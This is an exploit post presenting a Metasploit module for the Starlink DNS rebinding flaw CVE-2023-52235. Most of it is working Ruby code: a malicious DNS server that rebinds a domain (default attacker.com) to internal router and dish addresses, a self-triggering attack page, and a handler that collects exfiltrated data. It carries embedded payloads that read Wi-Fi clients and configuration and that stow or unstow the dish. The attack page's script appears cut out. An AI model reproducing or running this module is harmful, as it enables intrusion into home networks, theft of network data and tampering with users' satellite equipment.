================================================================================================================================== | # Title : DNS Rebinding Exploit Module | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : indoushka | ================================================================================================================================== [+] Summary : This Metasploit auxiliary module implements a DNS rebinding attack targeting Starlink infrastructure (CVE-2023-52235). The updated version focuses on improved stability and reliability by introducing safer DNS parsing, session tracking, memory handling, and basic rate limiting. The module operates by running a malicious DNS server that dynamically switches responses from a public IP to internal network targets, enabling access to internal services. It also hosts an HTTP server to deliver a client-side attack page and handle data exfiltration. [+] Key enhancements include: Robust DNS query parsing with compression handling safeguards Per-client session tracking with automatic cleanup Validation of DNS query type/class Controlled TTL behavior to ensure rebinding effectiveness Thread-safe data collection and exfiltration handling Input size validation to prevent memory abuse Graceful error handling and resource cleanup Overall, this version provides a more stable and controlled exploitation workflow suitable for testing DNS rebinding scenarios in Starlink environments. [+] POC : ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, 'Name' => 'Starlink DNS Rebinding Exploit (CVE-2023-52235) ', 'Description' => %q{ This module exploits CVE-2023-52235, a DNS rebinding vulnerability in Starlink Routers and Dishy (all generations before 2023.53.0). }, 'Author' => [ 'indoushka' ], 'References' => [ ['CVE', '2023-52235'], ['URL', 'https://github.com/hackintoanetwork/CVE-2023-52235'] ], 'DisclosureDate' => '2023-12-20', 'License' => MSF_LICENSE, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ OptString.new('DOMAIN', [true, 'Domain name for DNS rebinding', 'attacker.com']), OptAddress.new('PUBLIC_IP', [true, 'Public IP of the attacker server', '0.0.0.0']), OptPort.new('DNS_PORT', [true, 'DNS server port', 53]), OptEnum.new('ATTACK', [true, 'Attack type to execute', 'all', ['all', 'wifi_clients', 'wifi_config', 'dishy_config', 'stow', 'unstow']]), OptBool.new('AUTO_ATTACK', [true, 'Attack automatically when page loads', true]), OptInt.new('DNS_TTL', [true, 'DNS TTL in seconds (0-255)', 1]) ]) end def setup @domain = datastore['DOMAIN'] @public_ip = datastore['PUBLIC_IP'] @dns_port = datastore['DNS_PORT'] @attack_type = datastore['ATTACK'] @auto_attack = datastore['AUTO_ATTACK'] @dns_ttl = datastore['DNS_TTL'] @dns_ttl = 1 if @dns_ttl == 0 @internal_targets = ['192.168.1.1', '192.168.100.1'] @collected_data = [] @data_lock = Mutex.new @dns_running = false @dns_thread = nil @client_sessions = {} @session_lock = Mutex.new super end def run print_status("Starting Starlink DNS Rebinding Exploit (CVE-2023-52235)") print_status("Domain: #{@domain}") print_status("Public IP: #{@public_ip}") print_status("DNS Port: #{@dns_port}") print_status("DNS TTL: #{@dns_ttl}") print_status("HTTP Port: #{datastore['SRVPORT']}") print_status("Attack Type: #{@attack_type}") print_status("Auto Attack: #{@auto_attack}") start_dns_server start_service({ 'Uri' => { 'Proc' => proc { |cli, req| on_request(cli, req) }, 'Path' => '/' } }) print_good("HTTP server started on port #{datastore['SRVPORT']}") print_good("Victim URL: http://#{@domain}:#{datastore['SRVPORT']}/") print_status("Waiting for victim to visit the page...") last_cleanup = Time.now cleanup_interval = 60 while @dns_running if Time.now - last_cleanup > cleanup_interval cleanup_old_sessions last_cleanup = Time.now end select(nil, nil, nil, 1) end end def cleanup_old_sessions @session_lock.synchronize do now = Time.now.to_i @client_sessions.keys.each do |client_id| if now - @client_sessions[client_id][:last_seen] > 30 @client_sessions.delete(client_id) end end end end def start_dns_server @dns_running = true @dns_thread = Rex::ThreadFactory.spawn('DNSRebinding', false) do begin dns_sock = nil dns_sock = Rex::Socket::Udp.create( 'LocalHost' => '0.0.0.0', 'LocalPort' => @dns_port ) print_good("DNS server started on port #{@dns_port} (TTL=#{@dns_ttl})") while @dns_running begin data, addr = dns_sock.recvfrom(512) next if data.nil? or data.length < 12 query_id = data[0,2].unpack('n')[0] qdcount = data[4,2].unpack('n')[0] next if qdcount == 0 pos = 12 qname = '' jumps = 0 max_jumps = 10 while true break if pos >= data.length len = data[pos].ord if (len & 0xC0) == 0xC0 jumps += 1 if jumps > max_jumps print_warning("[DNS] Compression loop detected from #{addr[0]}") break end if pos + 1 >= data.length break end pointer = ((len & 0x3F) << 8) | data[pos + 1].ord pos = pointer next end break if len == 0 pos += 1 if pos + len > data.length break end qname << data[pos, len] + '.' pos += len end qname = qname[0..-2] if qname.end_with?('.') pos += 1 next if pos + 4 > data.length qtype = data[pos,2].unpack('n')[0] pos += 2 qclass = data[pos,2].unpack('n')[0] pos += 2 next unless qtype == 1 next unless qclass == 1 next unless qname.to_s.downcase == @domain.downcase question_data = data[12, pos - 12] client_id = "#{addr[0]}:#{addr[1]}" @session_lock.synchronize do @client_sessions[client_id] ||= { stage: 0, last_seen: Time.now.to_i } @client_sessions[client_id][:last_seen] = Time.now.to_i end stage = @client_sessions[client_id][:stage] @client_sessions[client_id][:stage] += 1 if stage == 0 ip = @public_ip print_status("[DNS] #{addr[0]}:#{addr[1]} Stage 1 -> #{ip}") else ip = @internal_targets[(stage - 1) % @internal_targets.length] print_status("[DNS] #{addr[0]}:#{addr[1]} Stage #{stage + 1} -> #{ip}") end response = '' response << [query_id].pack('n') response << [0x8180].pack('n') response << [1].pack('n') response << [1].pack('n') response << [0].pack('n') response << [0].pack('n') response << question_data NAME_POINTER = 0xC00C response << [NAME_POINTER].pack('n') response << [1].pack('n') response << [1].pack('n') response << [@dns_ttl].pack('N') response << [4].pack('n') response << ip.split('.').map(&:to_i).pack('C4') dns_sock.send(response, 0, addr[0], addr[1]) rescue ::Interrupt break rescue => e print_error("DNS error: #{e}") end end dns_sock.close if dns_sock rescue => e print_error("Failed to start DNS server: #{e}") @dns_running = false end end end def stop_dns_server @dns_running = false if @dns_thread @dns_thread.kill @dns_thread.join end end def on_request(cli, req) sleep(0.001) if req.method == 'GET' && req.uri == '/' send_attack_page(cli) elsif req.method == 'POST' handle_exfiltration(cli, req) else send_not_found(cli) end end def send_attack_page(cli) html = generate_attack_page send_response(cli, 200, 'text/html', html) end def handle_exfiltration(cli, req) if req.body.length > 1024 * 1024 send_response(cli, 413, 'application/json', '{"status":"payload too large"}') return end begin data = JSON.parse(req.body.force_encoding('UTF-8')) @data_lock.synchronize do @collected_data << data if @collected_data.length > 1000 @collected_data = @collected_data.last(500) end end print_good("Exfiltrated: #{data['type']} - #{data['data'].to_s[0..100]}") report_note( host: cli.peerhost, type: "starlink.#{data['type']}", data: data, update: :unique_data ) send_response(cli, 200, 'application/json', '{"status":"received"}') rescue JSON::ParserError => e print_error("JSON parse error: #{e}") send_response(cli, 400, 'application/json', '{"status":"invalid json"}') rescue => e print_error("Failed to process exfiltration: #{e}") send_response(cli, 500, 'application/json', '{"status":"error"}') end end def send_response(cli, status, content_type, body) body = body.to_s cli.send_response(status) cli.send_header('Content-Type', content_type) cli.send_header('Content-Length', body.bytesize) cli.send_header('Cache-Control', 'no-store, no-cache, must-revalidate') cli.send_header('X-Content-Type-Options', 'nosniff') cli.end_headers cli.send_body(body) end def send_not_found(cli) send_response(cli, 404, 'text/plain', 'Not Found') end def generate_attack_page commands = { 'wifi_clients' => { 'host' => '192.168.1.1', 'port' => 9001, 'path' => '/SpaceX.API.Device.Device/Handle', 'payload' => 'AAAABNK7AQA=' }, 'wifi_config' => { 'host' => '192.168.1.1', 'port' => 9001, 'path' => '/SpaceX.API.Device.Device/Handle', 'payload' => 'AAAAAcq7AQA=' }, 'dishy_config' => { 'host' => '192.168.100.1', 'port' => 9201, 'path' => '/SpaceX.API.Device.Device/Handle', 'payload' => 'AAAAAu+JAQA=' }, 'stow' => { 'host' => '192.168.100.1', 'port' => 9201, 'path' => '/SpaceX.API.Device.Device/Handle', 'payload' => 'AAAAA5J9AA==' }, 'unstow' => { 'host' => '192.168.100.1', 'port' => 9201, 'path' => '/SpaceX.API.Device.Device/Handle', 'payload' => 'AAAABZJ9AgEI' } } commands_json = JSON.generate(commands) target_domain = @domain attack_cmd = @attack_type auto_attack_js = '' if @auto_attack delay = 3000 auto_attack_js = "setTimeout(() => { attack(\"#{attack_cmd}\"); }, #{delay});" end return <<~HTML Starlink DNS Rebinding Exploit - CVE-2023-52235

CVE-2023-52235 - Starlink DNS Rebinding Exploit

Target: #{target_domain}

Status:

[+] Ready...

Exfiltrated Data:

[-] No data yet
HTML end def cleanup print_status("Cleaning up...") stop_dns_server super end end Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================